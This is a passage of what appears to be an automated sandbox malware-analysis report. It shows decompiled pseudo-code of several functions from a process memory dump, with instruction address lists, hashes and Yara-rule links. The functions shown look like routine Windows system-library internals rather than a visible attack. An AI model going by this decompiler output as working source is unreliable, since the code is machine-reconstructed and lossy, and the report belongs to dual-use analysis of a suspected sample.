										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x4728210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t37 = _t104 + 0x10; // 0x2000a61c
											_t95 =  *((intOrPtr*)( *_t37));
											E046B4888(_t89,  *((intOrPtr*)( *_t37)), __eflags);
										}
										E0464EB70(_t95, 0x47279a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_t38 = _t104 + 4; // 0x0
											_push( *_t38);
											E046795D0();
											L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_t41 = _t104 + 4; // 0x0
											_push( *_t41);
											E046795D0();
											L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E0464EB70(_t93, 0x47279a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_t25 = _t104 + 4; // 0x0
										_push( *_t25);
										E046795D0();
										L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E046795D0();
										L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t15 = _t104 + 0x10; // 0x2000a61c
								_t93 =  &_v20;
								_t17 = _t104 + 0xe; // 0xa61ce002
								 *((intOrPtr*)(_t108 + 0x20)) =  *_t15;
								_t85 = 6;
								_v20 = _t85;
								_t87 = E0466F0BF( &_v20,  *_t17 & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x046352a5
0x046352ad
0x046352b0
0x046352b3
0x046352b7
0x046352ba
0x046352bf
0x046352c4
0x046352cc
0x00000000
0x00000000
0x046352ce
0x046352d1
0x046352d9
0x046352dd
0x046352e7
0x046352f7
0x046352f9
0x046352fd
0x04690dcf
0x04690dd5
0x04690dd6
0x04690dd7
0x04690dd8
0x04690dd9
0x04690dde
0x04690ddf
0x04690de0
0x04690de1
0x04690de2
0x04690de2
0x04690de5
0x04690dea
0x04690dec
0x04690f60
0x04690f64
0x04690f70
0x04690f76
0x04690f79
0x04690f79
0x00000000
0x04690f64
0x04690df2
0x04690df7
0x04690e04
0x04690e04
0x04690e0d
0x04690e0d
0x04690e10
0x04690e1a
0x04690e1c
0x04690e4c
0x04690e52
0x04690e61
0x04690e67
0x04690e6b
0x04690e70
0x04690e76
0x04690ed7
0x04690edc
0x04690ee0
0x04690ee6
0x04690eea
0x04690eed
0x04690ef0
0x04690ef3
0x04690ef6
0x04690ef9
0x04690efb
0x04690efe
0x04690f01
0x04690f01
0x04690f0b
0x04690f12
0x04690f16
0x04690f18
0x04690f18
0x04690f1b
0x04690f2c
0x04690f31
0x04690f31
0x04690f35
0x04690f39
0x04690f3a
0x04690f3c
0x04690f3c
0x04690f3f
0x04690f50
0x04690f55
0x04690f55
0x04690f59
0x046352eb
0x046352f1
0x046352f1
0x04690e7d
0x04690e84
0x04690e88
0x04690e8a
0x04690e8a
0x04690e8d
0x04690e9e
0x04690ea3
0x04690ea3
0x04690ea7
0x04690eaf
0x04690eb3
0x04690eb9
0x04690eb9
0x04690ebc
0x04690ecd
0x04690ecd
0x00000000
0x04690eb3
0x04690e1e
0x04690e21
0x04690e25
0x04690e2b
0x04690e2f
0x04690e30
0x04690e3a
0x04690e3f
0x04690e41
0x00000000
0x00000000
0x04690e47
0x00000000
0x04690e47
0x04690df9
0x04690dfe
0x00000000
0x00000000
0x00000000
0x04690dfe
0x04635303
0x04635307
0x00000000
0x04635309
0x00000000
0x04635309
0x04635307
0x046352e9
0x046352e9
0x00000000
0x046352e9
0x0463530e
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2924325073e15e7decd6470cf50f51df421c3db97fa620d57f327c475a651132
Instruction ID: f9af0a26f1f6dc931fa3f24f410ed6a594adc2cef2dfb6e39c333199c7572160
Opcode Fuzzy Hash: 2924325073e15e7decd6470cf50f51df421c3db97fa620d57f327c475a651132
Instruction Fuzzy Hash: CD51ED70205742ABEB20EF64CA40B27BBE8FF94714F14491EE89683650F775F844CB96

Uniqueness

Uniqueness Score: -1.00%

Function 04662AE4, Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04662AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x4728204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x4728208; // 0x4728207
				_t8 = _t57 + 0x4728208; // 0x4728207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x4728450; // 0xa63c80
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x472821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x4726d5c; // 0x7f800654
							_t72 =  *0x4726d5c; // 0x7f800654
							_t75 =  *0x4726d5c; // 0x7f800654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x4726d5c; // 0x7f800654
							_t84 =  *0x4726d5c; // 0x7f800654
							_t87 =  *0x4726d5c; // 0x7f800654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E0467F3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x04662ae4
0x04662aec
0x04662aef
0x04662af4
0x04662af7
0x04662afd
0x04662b92
0x04662b92
0x04662b97
0x04662b9c
0x04662b9c
0x04662b03
0x04662b06
0x04662b09
0x04662b09
0x04662b0f
0x04662b15
0x04662b15
0x04662b1b
0x04662b1e
0x04662b21
0x04662b26
0x04662b29
0x04662b81
0x04662b84
0x04662c0e
0x04662c15
0x04662c24
0x04662c24
0x04662b8a
0x04662b8a
0x04662b8a
0x04662b8a
0x04662b90
0x00000000
0x00000000
0x00000000
0x00000000
0x04662b4a
0x04662b4a
0x04662b4d
0x04662b53
0x00000000
0x00000000
0x04662b55
0x04662b58
0x04662bb7
0x046a5d1b
0x046a5d37
0x046a5d47
0x046a5d53
0x04662bbd
0x04662bbd
0x04662bbd
0x04662bb7
0x04662b5d
0x04662c2f
0x046a5d5b
0x046a5d77
0x046a5d87
0x046a5d93
0x04662c35
0x04662c35
0x04662c35
0x04662c2f
0x04662b65
0x04662b9f
0x04662ba2
0x04662b67
0x04662b67
0x04662b69
0x04662b6b
0x04662b6e
0x04662bc9
0x04662bcc
0x04662bcf
0x04662bd4
0x04662bd6
0x04662bd6
0x04662bdb
0x04662c02
0x04662c05
0x04662c07
0x00000000
0x04662c07
0x04662be0
0x04662c00
0x04662c3f
0x04662c3f
0x00000000
0x04662c00
0x04662be5
0x04662be7
0x04662bec
0x04662bf4
0x04662bf6
0x00000000
0x04662bf6
0x04662b70
0x04662b76
0x04662b2b
0x04662b2b
0x04662b2d
0x04662b2f
0x04662b32
0x04662b35
0x04662b3a
0x00000000
0x04662b40
0x04662b43
0x04662b45
0x04662b47
0x04662b4a
0x04662b4d
0x04662b53
0x00000000
0x00000000
0x00000000
0x04662b53
0x04662b78
0x04662b78
0x04662b7b
0x04662b7e
0x00000000
0x04662b7e
0x04662b76
0x04662ba5
0x04662ba5
0x04662ba8
0x04662bad
0x00000000
0x00000000
0x04662baf
0x04662baf
0x04662bc2
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31284a252b8caf512b558a6a25563c27c663c5ed61dab98635ac5916993b3108
Instruction ID: ff15fa30a6ef88071f7442d8c01b02bcdcfe870c53f73d42b6703c98059f84d9
Opcode Fuzzy Hash: 31284a252b8caf512b558a6a25563c27c663c5ed61dab98635ac5916993b3108
Instruction Fuzzy Hash: 8C51CE76B00115CBCB18EF0CC9A09BDB7B5FB98704706899AE846AB314F635BE51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 046FAE44, Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E046FAE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E046FC38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E046FACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E046FFDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E046FEA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E04657D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
										if(_t88 != 0) {
											E046F1608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E04701536(0x4728ae4, (_t74 -  *0x4728b04 >> 0x14) + (_t74 -  *0x4728b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L046FC323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E046FA80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E046DCB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E046FACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}

0x046fae44
0x046fae4c
0x046fae53
0x046fae55
0x046fae5c
0x046fae64
0x046fae68
0x046fae75
0x046fae75
0x046fae78
0x046fae7a
0x046fae7c
0x046fae7f
0x046faea8
0x046faeab
0x046faead
0x00000000
0x00000000
0x046faeb3
0x046faeb8
0x046faebb
0x046faebd
0x00000000
0x046fae81
0x046fae88
0x046fae8f
0x046fae9b
0x046fae96
0x046fae96
0x046fae96
0x046faea0
0x046faea3
0x046faebf
0x046faebf
0x046faec3
0x046faec9
0x046faf0d
0x046faf14
0x046faf3d
0x046faf3d
0x046faf41
0x046faf44
0x046faf67
0x046faf67
0x046faf6a
0x046fafca
0x046fafd1
0x00000000
0x046fafd1
0x046faf6c
0x046faf6d
0x046faf75
0x046faf7c
0x046faf7e
0x046faf80
0x046faf85
0x046faf87
0x046faf99
0x046faf89
0x046faf92
0x046faf92
0x046faf9e
0x046fafa1
0x046fafa3
0x046fafa9
0x046fafb0
0x046fafb2
0x046fafb4
0x046fafbc
0x046fafbc
0x046fafb4
0x046fafb0
0x00000000
0x046fafa1
0x046faf4f
0x046faf57
0x046faf5c
0x046faf5e
0x00000000
0x00000000
0x046faf60
0x046faf64
0x046faf64
0x00000000
0x046faf64
0x046faf1a
0x046faf25
0x00000000
0x00000000
0x046faf27
0x046faf28
0x046faf33
0x00000000
0x046faed0
0x046faed0
0x046faed2
0x046faee1
0x046faee4
0x00000000
0x00000000
0x046faee6
0x046faeec
0x00000000
0x00000000
0x046faefb
0x046faf07
0x046fafd3
0x046fafdb
0x046fafdb
0x00000000
0x046faf07
0x046faed6
0x046faed8
0x046faedf
0x00000000
0x00000000
0x00000000
0x046faedf
0x046faec9

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d208c179407c4339920708df0e9bce9a933db0d4cd0beb5c366797ccabc3ebe
Instruction ID: efaade7d09a37982688fd3e2567296d65d9b0e90d8834eb4ffae0e2a52ccf140
Opcode Fuzzy Hash: 6d208c179407c4339920708df0e9bce9a933db0d4cd0beb5c366797ccabc3ebe
Instruction Fuzzy Hash: F24108B17012109BDB25DAA5CC94B7BB79AEF94714F04821DFA9E8B390F734F801D691

Uniqueness

Uniqueness Score: -1.00%

Function 0465DBE9, Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0465DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E0463CC50(E04634510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E04657D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E04708ED6(_t102, _t98);
						}
						_t76 = _v44;
						E04652280(_t58, _v44);
						E0465DD82(_v44, _t102, _t98);
						E0465B944(_t102, _v5);
						return E0464FFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x4728628; // 0x0
							_v28 = _t67;
							_t68 =  *0x472862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x4728628; // 0x0
						_t105 = _v28;
						_t80 =  *0x472862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x46ffb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x0465dbe9
0x0465dbf2
0x0465dbf7
0x0465dbf9
0x0465dbfc
0x0465dc00
0x0465dc03
0x0465dc14
0x0465dd54
0x0465dd54
0x0465dd54
0x0465dc18
0x0465dc1d
0x0465dc1d
0x0465dc32
0x0465dc3b
0x0465dc3e
0x0465dc46
0x0465dd5b
0x0465dd62
0x0465dd64
0x0465dd67
0x0465dd69
0x0465dd6b
0x0465dd6e
0x0465dd70
0x0465dd73
0x0465dd73
0x00000000
0x0465dc4c
0x0465dc4e
0x046a3ae3
0x046a3ae8
0x046a3aea
0x0465dce7
0x0465dce9
0x0465dcec
0x0465dcee
0x0465dcf0
0x0465dcf3
0x0465dcf5
0x046a3af2
0x046a3af5
0x046a3af5
0x0465dd06
0x0465dd08
0x0465dd0b
0x0465dd12
0x046a3b08
0x0465dd18
0x0465dd18
0x0465dd18
0x0465dd20
0x0465dd23
0x046a3b16
0x046a3b16
0x0465dd29
0x0465dd2d
0x0465dd36
0x0465dd40
0x0465dd51
0x0465dd51
0x0465dc54
0x0465dc59
0x0465dc59
0x0465dc5e
0x0465dc5e
0x0465dc63
0x0465dc66
0x0465dc6b
0x0465dc78
0x0465dc7b
0x0465dc81
0x0465dc81
0x0465dc83
0x0465dc89
0x00000000
0x00000000
0x0465dd7b
0x0465dd7b
0x0465dc8f
0x0465dc8f
0x0465dc92
0x0465dc99
0x0465dc9f
0x0465dca5
0x0465dcaa
0x0465dcaa
0x0465dcb3
0x0465dcb8
0x0465dcbb
0x0465dcc1
0x0465dccf
0x0465dcd2
0x0465dcd5
0x0465dcd7
0x0465dcda
0x0465dcdc
0x0465dcdc
0x0465dce2
0x0465dce4
0x00000000
0x0465dce4

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3ffea78f346084a1f4a9cde532f411445abeb56f95cfa2852090fcefe77f75c
Instruction ID: e08c906376099b34682cc1909e6654aba7337fec5ecb1d21d3679b845355a4da
Opcode Fuzzy Hash: e3ffea78f346084a1f4a9cde532f411445abeb56f95cfa2852090fcefe77f75c
Instruction Fuzzy Hash: 375189B1A01615DFCB14DFA8C480AAEBBF5FB48310F21865AD955AB390FB31BD44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0464EF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0464EF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E04639080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x77dfc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E04632D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x0464ef4b
0x0464ef4d
